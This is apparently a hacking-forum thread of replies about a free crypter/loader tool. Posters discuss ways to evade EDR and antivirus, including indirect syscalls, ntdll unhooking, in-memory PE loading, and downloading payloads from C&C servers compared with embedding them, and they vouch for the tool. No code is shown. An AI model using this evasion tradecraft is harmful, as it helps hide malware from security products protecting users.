(Aug 9, 2024 09:57 PM)ttbr0 Wrote: [\[CITE\]](#) pretty standard stuff. good resource.

- I'm greatly agreed with this, these are very important base that users should be learning has a simple "Standart".

I don't understand what happenned with the time but, back in the past, we use to have so many good guide and users in HF bringing the quality in !

I hope there will be some more new user's like him.

Hackers - August 12, 2024, 9:17 am

(Aug 12, 2024 09:00 AM)pinguoin Wrote: [\[CITE\]](#) 1- Sir once again, Great work, i've been away for a month and im happy to see you still working on good guides, actually fun to follow and work with it.

2- I'd like to ask you; Will the September edition be a Beginning to Last Step - by - Step guideline to follow from all your post ? Which could help lots of people to understand where to start and figure more likely if they're being on the right road.

- I'm greatly agreed with this, these are very important base that users should be learning has a simple "Standart".

I don't understand what happenned with the time but, back in the past, we use to have so many good guide and users in HF bringing the quality in !

I hope there will be some more new user's like him.

thanks Pinguoin!

- yes, I'll add more info about the memory methods
- and general info about each step

I hope these things help. At end of the day, I wish more people would release open source code & share knowledge.

There are a lot of products in marketplaces for this kind of thing, but very rarely are they actually worth selling/buying. People should focus on learning & making their own in my opinion.

I've been on forums for 20 years, and the internet has changed a lot.

Forums started with so much passion - a passion for sharing knowledge, learning, and more. Some of that passion feels lost, but not entirely. there is still hope! :)

(Aug 12, 2024 07:23 AM)blyat1337 Wrote: [\[CITE\]](#) Let me be clear, I am not hating, you are clearly capable, I just don't like half backed code, but that is me. You can do better, and you know it, I know it.

As far as other stuff I mentioned, Unhooking, maybe look into indirect-syscalls, it is a lot more "safe" with EDR, even though some of them are playing in kernelmode and hijacking HAL so that won't do you good unless you stack spoof/ Hijack syscall id of unused system call and replace with the one you wanna use etc..

The never ending game, I guess...

The LoadPE is great starting point, no new thread created, same process context. Leading EDR's will be bypassed but if you want to support 100% of files, handle no relocations, handle TLS, handle SEH.

Downloaders are "easy" but they are bad for stability work and require access to "unusual" C&C servers. can lead to detection, real threat actors will never use it. Try holding file offline, you will have a challenge.. but what is life without one?

Good luck anyways

Thanks, appreciate it.

I am working on a syswhispers3 loader as well, which uses syscalls and a variety of methods. Working on prototypes currently but the goal for October is to have syscalls used for a memory loader.

I do understand what you're saying about internet & downloading. I did that because I hadn't before and a few people around HF have talked about web builders recently. The other loaders/crypters I worked on were pretty much all held within the source code, no networking required. I wanted to try something different for this one, so threw that in - but yeah, in practice, it will just cause more headaches than benefits for someone. Storing the bin inside a resource or other data of the final program is definitely better and easier to hide.

I think my main thing is this:

- I did this to learn new concepts as I go, mainly being the win api for downloading payload, and the ntdll text replace from disk. In another one I released couple months ago I did ntdll, without the text replace, but to get addresses from PEB and use that one rather than from disk, or by loading in ntdll a second time.

- agreed that this is not my best work

- it's a scantime protector, so I agree that it won't be used in real red/blue simulations/etc because it won't hold up in runtime

mtgox176 - September 11, 2024, 10:18 am

I've been testing this program on both physical PCs and virtual machines, and I've encountered an issue where files requiring admin privileges won't start on Windows 10, even though all the necessary components are installed and the program is correctly compiled. I'm new to this and

wondered if the Memory Execution Restrictions might differ between Windows 10 and Windows 11, where everything works fine. Does anyone have any insights or suggestions on how to resolve this issue?

PS: I made some further testing and noticed that non file is running on windows with that tool is that just me or do someone have an explanation?

Thank you in advance! :)

Hackers - November 19, 2024, 8:58 am

(Sep 11, 2024 10:18 AM)mtgox176 Wrote: [\[CITE\]](#) I've been testing this program on both physical PCs and virtual machines, and I've encountered an issue where files requiring admin privileges won't start on Windows 10, even though all the necessary components are installed and the program is correctly compiled. I'm new to this and wondered if the Memory Execution Restrictions might differ between Windows 10 and Windows 11, where everything works fine. Does anyone have any insights or suggestions on how to resolve this issue?

PS: I made some further testing and noticed that non file is running on windows with that tool is that just me or do someone have an explanation?

Thank you in advance! :)

Hey, if you can provide some screenshots I can take a look. feel free to message me or reply here, sorry for the delay I was off-site taking a vacation.

hacker2020 - November 28, 2024, 5:39 am

any vouch on this product

HELLO any vouch on this product

Hackers - November 28, 2024, 5:43 am

(Nov 28, 2024 06:39 AM)hacker2020 Wrote: [\[CITE\]](#) any vouch on this product

HELLO any vouch on this product

It's free & for scantime

I'll vouch for it

Stanley - March 16, 2026, 8:29 pm

I'm Stanley HF's helper bot. The OP (original poster) of this thread wants everyone to see this page and has elected to bump it to the top of the showthread listing. Since HF doesn't want a ton of LQP (Low Quality Posts) this is the best method of bumping your content. There is a small ?yte fee for each bump. Any OP can bump any of their threads on HF from the linked icon on the top of their first post.

If you haven't already read the first post of this thread we encourage you to do so.

Thanks,
Stanley

Hackers - April 3, 2026, 6:06 am

This tool can still be useful if someone wants to fork & build with it.

